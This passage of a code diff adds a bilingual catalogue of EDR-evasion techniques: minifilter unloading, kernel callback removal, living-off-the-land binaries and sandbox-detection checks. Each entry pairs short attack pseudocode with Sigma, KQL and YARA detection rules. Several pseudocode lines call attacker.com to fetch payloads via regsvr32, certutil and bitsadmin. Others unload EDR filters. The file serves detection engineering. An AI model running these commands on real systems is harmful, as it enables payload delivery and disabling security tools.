| 590 |
+
"# Using fltMC.exe (requires admin)\n"
|
| 591 |
+
"fltMC unload EDRMiniFilter\n"
|
| 592 |
+
"# Or via direct kernel manipulation\n"
|
| 593 |
+
"filter = FindMinifilter('EDRFilter')\n"
|
| 594 |
+
"FltUnregisterFilter(filter)"
|
| 595 |
+
),
|
| 596 |
+
"detection": {
|
| 597 |
+
"en": "Monitor fltMC.exe usage, detect minifilter unload events, watch for EDR service disruption.",
|
| 598 |
+
"fr": "Surveiller l\u2019utilisation de fltMC.exe, d\u00e9tecter les d\u00e9chargements de minifiltres.",
|
| 599 |
+
},
|
| 600 |
+
"countermeasure": {
|
| 601 |
+
"en": "Tamper protection for minifilters, kernel callback guards, elevation monitoring.",
|
| 602 |
+
"fr": "Protection anti-falsification des minifiltres, gardes de callbacks noyau, surveillance des \u00e9l\u00e9vations.",
|
| 603 |
+
},
|
| 604 |
+
"sysmon": "1, 6, 13",
|
| 605 |
+
"kql": (
|
| 606 |
+
'DeviceProcessEvents\n| where FileName == "fltMC.exe"\n'
|
| 607 |
+
'| where ProcessCommandLine contains "unload"\n| project Timestamp, DeviceName'
|
| 608 |
+
),
|
| 609 |
+
"sigma": (
|
| 610 |
+
"title: Minifilter Unload Attempt\nstatus: experimental\n"
|
| 611 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 612 |
+
"detection:\n selection:\n Image|endswith: '\\\\fltMC.exe'\n"
|
| 613 |
+
" CommandLine|contains: 'unload'\n condition: selection\nlevel: critical"
|
| 614 |
+
),
|
| 615 |
+
"yara": (
|
| 616 |
+
"rule Minifilter_Tamper {\n strings:\n"
|
| 617 |
+
' $a = "FltUnregisterFilter" ascii\n $b = "fltMC" ascii wide\n'
|
| 618 |
+
' $c = "unload" ascii wide\n'
|
| 619 |
+
" condition:\n 2 of them\n}"
|
| 620 |
+
),
|
| 621 |
+
"edr_config": {
|
| 622 |
+
"en": "Enable kernel tamper protection, restrict fltMC access, implement self-healing minifilter registration.",
|
| 623 |
+
"fr": "Activer la protection noyau anti-falsification, restreindre fltMC, impl\u00e9menter l\u2019auto-r\u00e9paration des minifiltres.",
|
| 624 |
+
},
|
| 625 |
+
},
|
| 626 |
+
{
|
| 627 |
+
"id": "kernel-callback-removal",
|
| 628 |
+
"category": "EDR Agent Tampering",
|
| 629 |
+
"name": {"en": "Kernel Callback Removal", "fr": "Suppression de Callbacks Noyau"},
|
| 630 |
+
"difficulty": "Expert",
|
| 631 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 632 |
+
"desc": {
|
| 633 |
+
"en": "Removes kernel notification callbacks registered by EDR to stop process/thread/image load monitoring.",
|
| 634 |
+
"fr": "Supprime les callbacks de notification noyau enregistr\u00e9s par l\u2019EDR pour arr\u00eater la surveillance.",
|
| 635 |
+
},
|
| 636 |
+
"pseudocode": (
|
| 637 |
+
"# Educational pseudocode\n"
|
| 638 |
+
"callbacks = EnumKernelCallbacks(PsProcessNotify)\n"
|
| 639 |
+
"for cb in callbacks:\n"
|
| 640 |
+
" if cb.module == 'EDRDriver.sys':\n"
|
| 641 |
+
" PsSetCreateProcessNotifyRoutine(cb.addr, REMOVE)"
|
| 642 |
+
),
|
| 643 |
+
"detection": {
|
| 644 |
+
"en": "Monitor callback array integrity, detect callback removal events, EDR self-health monitoring.",
|
| 645 |
+
"fr": "Surveiller l\u2019int\u00e9grit\u00e9 des tableaux de callbacks, d\u00e9tecter les suppressions, auto-surveillance EDR.",
|
| 646 |
+
},
|
| 647 |
+
"countermeasure": {
|
| 648 |
+
"en": "Periodic callback integrity verification, kernel object protection, VBS-based protection.",
|
| 649 |
+
"fr": "V\u00e9rification p\u00e9riodique de l\u2019int\u00e9grit\u00e9 des callbacks, protection des objets noyau, protection VBS.",
|
| 650 |
+
},
|
| 651 |
+
"sysmon": "6, 13",
|
| 652 |
+
"kql": (
|
| 653 |
+
"DeviceEvents\n| where ActionType == 'KernelCallbackModification'\n"
|
| 654 |
+
"| project Timestamp, DeviceName, AdditionalFields"
|
| 655 |
+
),
|
| 656 |
+
"sigma": (
|
| 657 |
+
"title: Kernel Callback Manipulation\nstatus: experimental\n"
|
| 658 |
+
"logsource:\n product: windows\n category: driver_load\n"
|
| 659 |
+
"detection:\n selection:\n EventID: 6\n"
|
| 660 |
+
" filter:\n Signed: 'true'\n"
|
| 661 |
+
" condition: selection and not filter\nlevel: critical"
|
| 662 |
+
),
|
| 663 |
+
"yara": (
|
| 664 |
+
"rule Kernel_Callback_Removal {\n strings:\n"
|
| 665 |
+
' $a = "PsSetCreateProcessNotifyRoutine" ascii\n'
|
| 666 |
+
' $b = "ObUnRegisterCallbacks" ascii\n'
|
| 667 |
+
' $c = "CmUnRegisterCallback" ascii\n'
|
| 668 |
+
" condition:\n 2 of them\n}"
|
| 669 |
+
),
|
| 670 |
+
"edr_config": {
|
| 671 |
+
"en": "VBS-based kernel protection, periodic self-integrity checks, heartbeat monitoring for callbacks.",
|
| 672 |
+
"fr": "Protection noyau bas\u00e9e sur VBS, v\u00e9rifications p\u00e9riodiques, surveillance de la pr\u00e9sence des callbacks.",
|
| 673 |
+
},
|
| 674 |
+
},
|
| 675 |
+
# ---- Living off the Land ----
|
| 676 |
+
{
|
| 677 |
+
"id": "msbuild",
|
| 678 |
+
"category": "Living off the Land",
|
| 679 |
+
"name": {"en": "MSBuild Execution", "fr": "Ex\u00e9cution MSBuild"},
|
| 680 |
+
"difficulty": "Easy",
|
| 681 |
+
"mitre": "T1127.001 - Trusted Developer Utilities: MSBuild",
|
| 682 |
+
"desc": {
|
| 683 |
+
"en": "Uses MSBuild.exe to compile and execute inline C# code from XML project files, bypassing application whitelisting.",
|
| 684 |
+
"fr": "Utilise MSBuild.exe pour compiler et ex\u00e9cuter du code C# depuis des fichiers XML, contournant le whitelisting.",
|
| 685 |
+
},
|
| 686 |
+
"pseudocode": (
|
| 687 |
+
"# Educational pseudocode\n"
|
| 688 |
+
'# payload.xml contains inline C# Task\n'
|
| 689 |
+
"msbuild.exe payload.xml\n"
|
| 690 |
+
"# The XML contains: <Task> with embedded C# code\n"
|
| 691 |
+
"# MSBuild compiles and executes at runtime"
|
| 692 |
+
),
|
| 693 |
+
"detection": {
|
| 694 |
+
"en": "Monitor MSBuild.exe spawning without Visual Studio parent. Check for XML files with inline C# Tasks.",
|
| 695 |
+
"fr": "Surveiller MSBuild.exe sans processus parent Visual Studio. V\u00e9rifier les fichiers XML avec des T\u00e2ches C#.",
|
| 696 |
+
},
|
| 697 |
+
"countermeasure": {
|
| 698 |
+
"en": "WDAC/AppLocker policies for MSBuild, restrict to dev machines, log all MSBuild executions.",
|
| 699 |
+
"fr": "Politiques WDAC/AppLocker pour MSBuild, restreindre aux machines de dev, journaliser les ex\u00e9cutions.",
|
| 700 |
+
},
|
| 701 |
+
"sysmon": "1, 11",
|
| 702 |
+
"kql": (
|
| 703 |
+
'DeviceProcessEvents\n| where FileName == "MSBuild.exe"\n'
|
| 704 |
+
'| where InitiatingProcessFileName != "devenv.exe"\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 705 |
+
),
|
| 706 |
+
"sigma": (
|
| 707 |
+
"title: Suspicious MSBuild Execution\nstatus: stable\n"
|
| 708 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 709 |
+
"detection:\n selection:\n Image|endswith: '\\\\MSBuild.exe'\n"
|
| 710 |
+
" filter:\n ParentImage|endswith: '\\\\devenv.exe'\n"
|
| 711 |
+
" condition: selection and not filter\nlevel: high"
|
| 712 |
+
),
|
| 713 |
+
"yara": (
|
| 714 |
+
'rule MSBuild_Payload {\n strings:\n $a = "<Task>" ascii\n'
|
| 715 |
+
' $b = "UsingTask" ascii\n $c = "CodeTaskFactory" ascii\n'
|
| 716 |
+
" condition:\n all of them\n}"
|
| 717 |
+
),
|
| 718 |
+
"edr_config": {
|
| 719 |
+
"en": "Block MSBuild on non-developer endpoints, enable script block logging, configure application control.",
|
| 720 |
+
"fr": "Bloquer MSBuild sur les postes non-d\u00e9veloppeurs, activer la journalisation des scripts.",
|
| 721 |
+
},
|
| 722 |
+
},
|
| 723 |
+
{
|
| 724 |
+
"id": "installutil",
|
| 725 |
+
"category": "Living off the Land",
|
| 726 |
+
"name": {"en": "InstallUtil Bypass", "fr": "Contournement InstallUtil"},
|
| 727 |
+
"difficulty": "Easy",
|
| 728 |
+
"mitre": "T1218.004 - System Binary Proxy Execution: InstallUtil",
|
| 729 |
+
"desc": {
|
| 730 |
+
"en": "Abuses InstallUtil.exe to execute .NET assemblies with Uninstall method containing malicious code.",
|
| 731 |
+
"fr": "Abuse InstallUtil.exe pour ex\u00e9cuter des assemblies .NET avec une m\u00e9thode Uninstall contenant du code malveillant.",
|
| 732 |
+
},
|
| 733 |
+
"pseudocode": (
|
| 734 |
+
"# Educational pseudocode\n"
|
| 735 |
+
"# Compile .NET assembly with [RunInstaller(true)] class\n"
|
| 736 |
+
"# Override Uninstall() method with payload\n"
|
| 737 |
+
"InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll"
|
| 738 |
+
),
|
| 739 |
+
"detection": {
|
| 740 |
+
"en": "Monitor InstallUtil.exe with /U flag, unexpected .NET assembly loading, network connections from InstallUtil.",
|
| 741 |
+
"fr": "Surveiller InstallUtil.exe avec /U, chargements d\u2019assemblies .NET inattendus, connexions r\u00e9seau depuis InstallUtil.",
|
| 742 |
+
},
|
| 743 |
+
"countermeasure": {
|
| 744 |
+
"en": "Application control policies, restrict InstallUtil to admin accounts, monitor command line arguments.",
|
| 745 |
+
"fr": "Politiques de contr\u00f4le d\u2019applications, restreindre InstallUtil, surveiller les arguments de ligne de commande.",
|
| 746 |
+
},
|
| 747 |
+
"sysmon": "1, 7, 3",
|
| 748 |
+
"kql": (
|
| 749 |
+
'DeviceProcessEvents\n| where FileName == "InstallUtil.exe"\n'
|
| 750 |
+
'| where ProcessCommandLine contains "/U"\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 751 |
+
),
|
| 752 |
+
"sigma": (
|
| 753 |
+
"title: InstallUtil Abuse\nstatus: stable\n"
|
| 754 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 755 |
+
"detection:\n selection:\n Image|endswith: '\\\\InstallUtil.exe'\n"
|
| 756 |
+
" CommandLine|contains: '/U'\n condition: selection\nlevel: high"
|
| 757 |
+
),
|
| 758 |
+
"yara": (
|
| 759 |
+
"rule InstallUtil_Abuse {\n strings:\n"
|
| 760 |
+
' $a = "RunInstallerAttribute" ascii\n $b = "Uninstall" ascii\n'
|
| 761 |
+
' $c = "System.Configuration.Install" ascii\n'
|
| 762 |
+
" condition:\n all of them\n}"
|
| 763 |
+
),
|
| 764 |
+
"edr_config": {
|
| 765 |
+
"en": "Block InstallUtil on standard endpoints, WDAC policies, monitor .NET assembly loading.",
|
| 766 |
+
"fr": "Bloquer InstallUtil sur les postes standards, politiques WDAC, surveiller les chargements .NET.",
|
| 767 |
+
},
|
| 768 |
+
},
|
| 769 |
+
{
|
| 770 |
+
"id": "regsvr32",
|
| 771 |
+
"category": "Living off the Land",
|
| 772 |
+
"name": {"en": "Regsvr32 (Squiblydoo)", "fr": "Regsvr32 (Squiblydoo)"},
|
| 773 |
+
"difficulty": "Easy",
|
| 774 |
+
"mitre": "T1218.010 - System Binary Proxy Execution: Regsvr32",
|
| 775 |
+
"desc": {
|
| 776 |
+
"en": "Uses regsvr32.exe to load remote SCT (scriptlet) files containing JScript/VBScript payloads.",
|
| 777 |
+
"fr": "Utilise regsvr32.exe pour charger des fichiers SCT distants contenant des payloads JScript/VBScript.",
|
| 778 |
+
},
|
| 779 |
+
"pseudocode": (
|
| 780 |
+
"# Educational pseudocode\n"
|
| 781 |
+
"regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll\n"
|
| 782 |
+
"# payload.sct contains JScript/VBScript code\n"
|
| 783 |
+
"# Executes in memory without touching disk"
|
| 784 |
+
),
|
| 785 |
+
"detection": {
|
| 786 |
+
"en": "Monitor regsvr32.exe with /i: flag pointing to URLs, network connections from regsvr32.",
|
| 787 |
+
"fr": "Surveiller regsvr32.exe avec /i: pointant vers des URLs, connexions r\u00e9seau depuis regsvr32.",
|
| 788 |
+
},
|
| 789 |
+
"countermeasure": {
|
| 790 |
+
"en": "Block outbound connections from regsvr32, application control, script execution restrictions.",
|
| 791 |
+
"fr": "Bloquer les connexions sortantes de regsvr32, contr\u00f4le d\u2019applications, restrictions de scripts.",
|
| 792 |
+
},
|
| 793 |
+
"sysmon": "1, 3, 7",
|
| 794 |
+
"kql": (
|
| 795 |
+
'DeviceProcessEvents\n| where FileName == "regsvr32.exe"\n'
|
| 796 |
+
'| where ProcessCommandLine contains "/i:http"\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 797 |
+
),
|
| 798 |
+
"sigma": (
|
| 799 |
+
"title: Regsvr32 Squiblydoo\nstatus: stable\n"
|
| 800 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 801 |
+
"detection:\n selection:\n Image|endswith: '\\\\regsvr32.exe'\n"
|
| 802 |
+
" CommandLine|contains: '/i:http'\n condition: selection\nlevel: critical"
|
| 803 |
+
),
|
| 804 |
+
"yara": (
|
| 805 |
+
'rule Squiblydoo_SCT {\n strings:\n $a = "scriptlet" ascii nocase\n'
|
| 806 |
+
' $b = "registration" ascii nocase\n $c = "<script" ascii nocase\n'
|
| 807 |
+
" condition:\n all of them\n}"
|
| 808 |
+
),
|
| 809 |
+
"edr_config": {
|
| 810 |
+
"en": "Block regsvr32 network access, disable scriptlet execution, WDAC application control.",
|
| 811 |
+
"fr": "Bloquer l\u2019acc\u00e8s r\u00e9seau de regsvr32, d\u00e9sactiver les scriptlets, contr\u00f4le WDAC.",
|
| 812 |
+
},
|
| 813 |
+
},
|
| 814 |
+
{
|
| 815 |
+
"id": "cmstp",
|
| 816 |
+
"category": "Living off the Land",
|
| 817 |
+
"name": {"en": "CMSTP Bypass", "fr": "Contournement CMSTP"},
|
| 818 |
+
"difficulty": "Medium",
|
| 819 |
+
"mitre": "T1218.003 - System Binary Proxy Execution: CMSTP",
|
| 820 |
+
"desc": {
|
| 821 |
+
"en": "Abuses Connection Manager Profile Installer to execute commands via INF files with UnRegisterOCXs.",
|
| 822 |
+
"fr": "Abuse l\u2019installateur de profils Connection Manager pour ex\u00e9cuter des commandes via des fichiers INF.",
|
| 823 |
+
},
|
| 824 |
+
"pseudocode": (
|
| 825 |
+
"# Educational pseudocode\n"
|
| 826 |
+
"# Create malicious INF file with UnRegisterOCXs section\n"
|
| 827 |
+
"cmstp.exe /ni /s payload.inf\n"
|
| 828 |
+
"# INF contains: UnRegisterOCXs pointing to script/binary"
|
| 829 |
+
),
|
| 830 |
+
"detection": {
|
| 831 |
+
"en": "Monitor cmstp.exe execution with /ni and /s flags, watch for INF file creation.",
|
| 832 |
+
"fr": "Surveiller l\u2019ex\u00e9cution de cmstp.exe avec les drapeaux /ni et /s, v\u00e9rifier la cr\u00e9ation de fichiers INF.",
|
| 833 |
+
},
|
| 834 |
+
"countermeasure": {
|
| 835 |
+
"en": "Application control, restrict cmstp.exe, monitor INF file creation in temp directories.",
|
| 836 |
+
"fr": "Contr\u00f4le d\u2019applications, restreindre cmstp.exe, surveiller la cr\u00e9ation de fichiers INF dans les r\u00e9pertoires temporaires.",
|
| 837 |
+
},
|
| 838 |
+
"sysmon": "1, 11",
|
| 839 |
+
"kql": (
|
| 840 |
+
'DeviceProcessEvents\n| where FileName == "cmstp.exe"\n'
|
| 841 |
+
'| where ProcessCommandLine contains "/ni"\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 842 |
+
),
|
| 843 |
+
"sigma": (
|
| 844 |
+
"title: CMSTP Bypass\nstatus: stable\n"
|
| 845 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 846 |
+
"detection:\n selection:\n Image|endswith: '\\\\cmstp.exe'\n"
|
| 847 |
+
" CommandLine|contains: '/ni'\n condition: selection\nlevel: high"
|
| 848 |
+
),
|
| 849 |
+
"yara": (
|
| 850 |
+
'rule CMSTP_Payload {\n strings:\n $a = "UnRegisterOCXs" ascii\n'
|
| 851 |
+
' $b = "[DefaultInstall]" ascii\n $c = "cmstp" ascii nocase\n'
|
| 852 |
+
" condition:\n all of them\n}"
|
| 853 |
+
),
|
| 854 |
+
"edr_config": {
|
| 855 |
+
"en": "Block cmstp.exe on standard endpoints, monitor INF file creation, restrict CMS profile installation.",
|
| 856 |
+
"fr": "Bloquer cmstp.exe sur les postes standards, surveiller les fichiers INF.",
|
| 857 |
+
},
|
| 858 |
+
},
|
| 859 |
+
{
|
| 860 |
+
"id": "certutil",
|
| 861 |
+
"category": "Living off the Land",
|
| 862 |
+
"name": {"en": "Certutil Download", "fr": "T\u00e9l\u00e9chargement Certutil"},
|
| 863 |
+
"difficulty": "Easy",
|
| 864 |
+
"mitre": "T1105 - Ingress Tool Transfer",
|
| 865 |
+
"desc": {
|
| 866 |
+
"en": "Abuses certutil.exe to download files from remote servers and decode base64-encoded payloads.",
|
| 867 |
+
"fr": "Abuse certutil.exe pour t\u00e9l\u00e9charger des fichiers et d\u00e9coder des payloads encod\u00e9s en base64.",
|
| 868 |
+
},
|
| 869 |
+
"pseudocode": (
|
| 870 |
+
"# Educational pseudocode\n"
|
| 871 |
+
"certutil -urlcache -split -f http://attacker.com/payload.exe out.exe\n"
|
| 872 |
+
"# Or decode base64\n"
|
| 873 |
+
"certutil -decode encoded.txt payload.exe"
|
| 874 |
+
),
|
| 875 |
+
"detection": {
|
| 876 |
+
"en": "Monitor certutil with -urlcache or -decode flags, network connections from certutil.",
|
| 877 |
+
"fr": "Surveiller certutil avec les drapeaux -urlcache ou -decode, connexions r\u00e9seau depuis certutil.",
|
| 878 |
+
},
|
| 879 |
+
"countermeasure": {
|
| 880 |
+
"en": "Block certutil network access via firewall, application control, command line monitoring.",
|
| 881 |
+
"fr": "Bloquer les acc\u00e8s r\u00e9seau de certutil, contr\u00f4le d\u2019applications, surveillance des lignes de commande.",
|
| 882 |
+
},
|
| 883 |
+
"sysmon": "1, 3, 11",
|
| 884 |
+
"kql": (
|
| 885 |
+
'DeviceProcessEvents\n| where FileName == "certutil.exe"\n'
|
| 886 |
+
'| where ProcessCommandLine has_any ("urlcache","decode")\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 887 |
+
),
|
| 888 |
+
"sigma": (
|
| 889 |
+
"title: Certutil Download or Decode\nstatus: stable\n"
|
| 890 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 891 |
+
"detection:\n selection:\n Image|endswith: '\\\\certutil.exe'\n"
|
| 892 |
+
" CommandLine|contains:\n - 'urlcache'\n - 'decode'\n"
|
| 893 |
+
" condition: selection\nlevel: high"
|
| 894 |
+
),
|
| 895 |
+
"yara": (
|
| 896 |
+
"rule Certutil_Abuse {\n strings:\n"
|
| 897 |
+
' $a = "certutil" ascii nocase\n $b = "urlcache" ascii nocase\n'
|
| 898 |
+
' $c = "decode" ascii nocase\n'
|
| 899 |
+
" condition:\n $a and ($b or $c)\n}"
|
| 900 |
+
),
|
| 901 |
+
"edr_config": {
|
| 902 |
+
"en": "Block certutil outbound connections, restrict to certificate management only, audit all usage.",
|
| 903 |
+
"fr": "Bloquer les connexions sortantes de certutil, restreindre \u00e0 la gestion de certificats, auditer.",
|
| 904 |
+
},
|
| 905 |
+
},
|
| 906 |
+
{
|
| 907 |
+
"id": "bitsadmin",
|
| 908 |
+
"category": "Living off the Land",
|
| 909 |
+
"name": {"en": "BITSAdmin Transfer", "fr": "Transfert BITSAdmin"},
|
| 910 |
+
"difficulty": "Easy",
|
| 911 |
+
"mitre": "T1197 - BITS Jobs",
|
| 912 |
+
"desc": {
|
| 913 |
+
"en": "Abuses Background Intelligent Transfer Service to download files stealthily and persist across reboots.",
|
| 914 |
+
"fr": "Abuse le service BITS pour t\u00e9l\u00e9charger des fichiers discr\u00e8tement et persister apr\u00e8s red\u00e9marrage.",
|
| 915 |
+
},
|
| 916 |
+
"pseudocode": (
|
| 917 |
+
"# Educational pseudocode\n"
|
| 918 |
+
"bitsadmin /transfer job /download /priority high\n"
|
| 919 |
+
" http://attacker.com/payload.exe C:\\\\temp\\\\payload.exe\n"
|
| 920 |
+
"# BITS jobs survive reboots and run as SYSTEM"
|
| 921 |
+
),
|
| 922 |
+
"detection": {
|
| 923 |
+
"en": "Monitor bitsadmin.exe and BITS event logs, track unusual BITS job creation.",
|
| 924 |
+
"fr": "Surveiller bitsadmin.exe et les journaux BITS, suivre la cr\u00e9ation de t\u00e2ches BITS inhabituelles.",
|
| 925 |
+
},
|
| 926 |
+
"countermeasure": {
|
| 927 |
+
"en": "Restrict BITS job creation, monitor BITS event log (ID 59-61), limit BITS bandwidth.",
|
| 928 |
+
"fr": "Restreindre la cr\u00e9ation de t\u00e2ches BITS, surveiller le journal BITS (ID 59-61).",
|
| 929 |
+
},
|
| 930 |
+
"sysmon": "1, 3",
|
| 931 |
+
"kql": (
|
| 932 |
+
'DeviceProcessEvents\n| where FileName == "bitsadmin.exe"\n'
|
| 933 |
+
'| where ProcessCommandLine contains "/transfer"\n| project Timestamp, DeviceName, ProcessCommandLine'
|
| 934 |
+
),
|
| 935 |
+
"sigma": (
|
| 936 |
+
"title: BITSAdmin File Download\nstatus: stable\n"
|
| 937 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 938 |
+
"detection:\n selection:\n Image|endswith: '\\\\bitsadmin.exe'\n"
|
| 939 |
+
" CommandLine|contains: '/transfer'\n condition: selection\nlevel: medium"
|
| 940 |
+
),
|
| 941 |
+
"yara": (
|
| 942 |
+
"rule BITSAdmin_Abuse {\n strings:\n"
|
| 943 |
+
' $a = "bitsadmin" ascii nocase\n $b = "/transfer" ascii nocase\n'
|
| 944 |
+
' $c = "IBackgroundCopyManager" ascii\n'
|
| 945 |
+
" condition:\n ($a and $b) or $c\n}"
|
| 946 |
+
),
|
| 947 |
+
"edr_config": {
|
| 948 |
+
"en": "Monitor BITS event log, restrict BITS job creation via GPO, alert on unusual BITS activity.",
|
| 949 |
+
"fr": "Surveiller le journal BITS, restreindre la cr\u00e9ation de t\u00e2ches BITS via GPO.",
|
| 950 |
+
},
|
| 951 |
+
},
|
| 952 |
+
# ---- Sandbox Detection ----
|
| 953 |
+
{
|
| 954 |
+
"id": "hw-fingerprint",
|
| 955 |
+
"category": "Sandbox Detection",
|
| 956 |
+
"name": {"en": "Hardware Fingerprinting", "fr": "Empreinte Mat\u00e9rielle"},
|
| 957 |
+
"difficulty": "Medium",
|
| 958 |
+
"mitre": "T1497.001 - Virtualization/Sandbox Evasion: System Checks",
|
| 959 |
+
"desc": {
|
| 960 |
+
"en": "Checks hardware characteristics (CPU count, RAM, disk size, GPU) to detect virtualized sandbox environments.",
|
| 961 |
+
"fr": "V\u00e9rifie les caract\u00e9ristiques mat\u00e9rielles (CPU, RAM, disque, GPU) pour d\u00e9tecter les environnements sandbox virtualis\u00e9s.",
|
| 962 |
+
},
|
| 963 |
+
"pseudocode": (
|
| 964 |
+
"# Educational pseudocode\n"
|
| 965 |
+
"if cpu_count < 2: exit() # sandboxes often have 1 CPU\n"
|
| 966 |
+
"if ram_gb < 4: exit() # sandboxes have low RAM\n"
|
| 967 |
+
"if disk_gb < 60: exit() # small disk = sandbox\n"
|
| 968 |
+
"if 'VMware' in bios_string: exit()"
|
| 969 |
+
),
|
| 970 |
+
"detection": {
|
| 971 |
+
"en": "Monitor WMI queries for hardware info, detect rapid environment enumeration at process start.",
|
| 972 |
+
"fr": "Surveiller les requ\u00eates WMI pour les infos mat\u00e9rielles, d\u00e9tecter l\u2019\u00e9num\u00e9ration rapide d\u2019environnement.",
|
| 973 |
+
},
|
| 974 |
+
"countermeasure": {
|
| 975 |
+
"en": "Configure sandboxes with realistic hardware specs, mask VM artifacts, use bare-metal analysis.",
|
| 976 |
+
"fr": "Configurer les sandboxes avec des specs r\u00e9alistes, masquer les artefacts VM, utiliser l\u2019analyse bare-metal.",
|
| 977 |
+
},
|
| 978 |
+
"sysmon": "1, 19, 20",
|
| 979 |
+
"kql": (
|
| 980 |
+
"DeviceProcessEvents\n| where ProcessCommandLine has_any ('Win32_ComputerSystem','Win32_BIOS','Win32_DiskDrive')\n"
|
| 981 |
+
"| project Timestamp, DeviceName, ProcessCommandLine"
|
| 982 |
+
),
|
| 983 |
+
"sigma": (
|
| 984 |
+
"title: Sandbox Detection via WMI\nstatus: experimental\n"
|
| 985 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 986 |
+
"detection:\n selection:\n CommandLine|contains:\n"
|
| 987 |
+
" - 'Win32_ComputerSystem'\n - 'Win32_BIOS'\n"
|
| 988 |
+
" condition: selection\nlevel: medium"
|
| 989 |
+
),
|
| 990 |
+
"yara": (
|
| 991 |
+
"rule Sandbox_Detection {\n strings:\n"
|
| 992 |
+
' $a = "Win32_ComputerSystem" ascii wide\n'
|
| 993 |
+
' $b = "VMware" ascii wide\n $c = "VirtualBox" ascii wide\n'
|
| 994 |
+
' $d = "NumberOfProcessors" ascii wide\n'
|
| 995 |
+
" condition:\n 3 of them\n}"
|
| 996 |
+
),
|
| 997 |
+
"edr_config": {
|
| 998 |
+
"en": "Use high-fidelity sandboxes, monitor WMI queries, deploy bare-metal detonation capabilities.",
|
| 999 |
+
"fr": "Utiliser des sandboxes haute fid\u00e9lit\u00e9, surveiller les requ\u00eates WMI.",
|
| 1000 |
+
},
|
| 1001 |
+
},
|
| 1002 |
+
{
|
| 1003 |
+
"id": "timing-checks",
|
| 1004 |
+
"category": "Sandbox Detection",
|
| 1005 |
+
"name": {"en": "Timing-Based Evasion", "fr": "\u00c9vasion par Temporisation"},
|
| 1006 |
+
"difficulty": "Medium",
|
| 1007 |
+
"mitre": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion",
|
| 1008 |
+
"desc": {
|
| 1009 |
+
"en": "Uses sleep timers, GetTickCount, or RDTSC to detect accelerated sandbox execution or delayed analysis.",
|
| 1010 |
+
"fr": "Utilise des minuteries, GetTickCount ou RDTSC pour d\u00e9tecter l\u2019ex\u00e9cution acc\u00e9l\u00e9r\u00e9e des sandboxes.",
|
| 1011 |
+
},
|
| 1012 |
+
"pseudocode": (
|
| 1013 |
+
"# Educational pseudocode\n"
|
| 1014 |
+
"t1 = GetTickCount()\n"
|
| 1015 |
+
"Sleep(10000) # 10 seconds\n"
|
| 1016 |
+
"t2 = GetTickCount()\n"
|
| 1017 |
+
"if (t2 - t1) < 9000: # sandbox skipped the sleep\n"
|
| 1018 |
+
" exit() # do not execute payload"
|
| 1019 |
+
),
|
| 1020 |
+
"detection": {
|
| 1021 |
+
"en": "Detect long sleep calls followed by timestamp verification, RDTSC instruction patterns.",
|
| 1022 |
+
"fr": "D\u00e9tecter les appels sleep longs suivis de v\u00e9rification de timestamp, les sch\u00e9mas RDTSC.",
|
| 1023 |
+
},
|
| 1024 |
+
"countermeasure": {
|
| 1025 |
+
"en": "Implement accurate time acceleration in sandboxes, use kernel-level sleep skipping detection.",
|
| 1026 |
+
"fr": "Impl\u00e9menter une acc\u00e9l\u00e9ration temporelle pr\u00e9cise dans les sandboxes.",
|
| 1027 |
+
},
|
| 1028 |
+
"sysmon": "1",
|
| 1029 |
+
"kql": (
|
| 1030 |
+
"DeviceEvents\n| where ActionType == 'ProcessCreated'\n"
|
| 1031 |
+
"| where AdditionalFields contains 'sleep'\n| project Timestamp, DeviceName"
|
| 1032 |
+
),
|
| 1033 |
+
"sigma": (
|
| 1034 |
+
"title: Timing-Based Sandbox Evasion\nstatus: experimental\n"
|
| 1035 |
+
"logsource:\n product: windows\n category: process_creation\n"
|
| 1036 |
+
"detection:\n selection:\n CommandLine|contains:\n"
|
| 1037 |
+
" - 'timeout'\n - 'ping -n'\n - 'Start-Sleep'\n"
|
| 1038 |
+
" condition: selection\nlevel: low"
|
| 1039 |
+
),
|
| 1040 |
+
"yara": (
|
| 1041 |
+
"rule Timing_Evasion {\n strings:\n"
|
| 1042 |
+
' $a = "GetTickCount" ascii\n $b = "Sleep" ascii\n'
|
| 1043 |
+
" $rdtsc = { 0F 31 } // RDTSC instruction\n"
|
| 1044 |
+
" condition:\n ($a and $b) or $rdtsc\n}"
|
| 1045 |
+
),
|
| 1046 |
+
"edr_config": {
|
| 1047 |
+
"en": "Configure sandbox time handling, extend analysis duration, implement multi-stage detonation.",
|
| 1048 |
+
"fr": "Configurer la gestion du temps dans les sandboxes, \u00e9tendre la dur\u00e9e d\u2019analyse.",
|
| 1049 |
+
},
|
| 1050 |
+
},
|
| 1051 |
+
{
|
| 1052 |
+
"id": "user-interaction",
|
| 1053 |
+
"category": "Sandbox Detection",
|
| 1054 |
+
"name": {"en": "User Interaction Check", "fr": "V\u00e9rification d\u2019Interaction Utilisateur"},
|
| 1055 |
+
"difficulty": "Medium",
|
| 1056 |
+
"mitre": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks",
|
| 1057 |
+
"desc": {
|
| 1058 |
+
"en": "Checks for real user activity (mouse movements, click history, recent documents) to detect automated sandboxes.",
|
| 1059 |
+
"fr": "V\u00e9rifie l\u2019activit\u00e9 utilisateur r\u00e9elle (mouvements souris, historique de clics, documents r\u00e9cents) pour d\u00e9tecter les sandboxes automatis\u00e9es.",
|
| 1060 |
+
},
|
| 1061 |
+
"pseudocode": (
|
| 1062 |
+
"# Educational pseudocode\n"
|
| 1063 |
+
"cursor_positions = []\n"
|
| 1064 |
+
"for i in range(10):\n"
|
| 1065 |
+
" cursor_positions.append(GetCursorPos())\n"
|
| 1066 |
+
" Sleep(500)\n"
|
| 1067 |
+
"if all_same(cursor_positions):\n"
|
| 1068 |
+
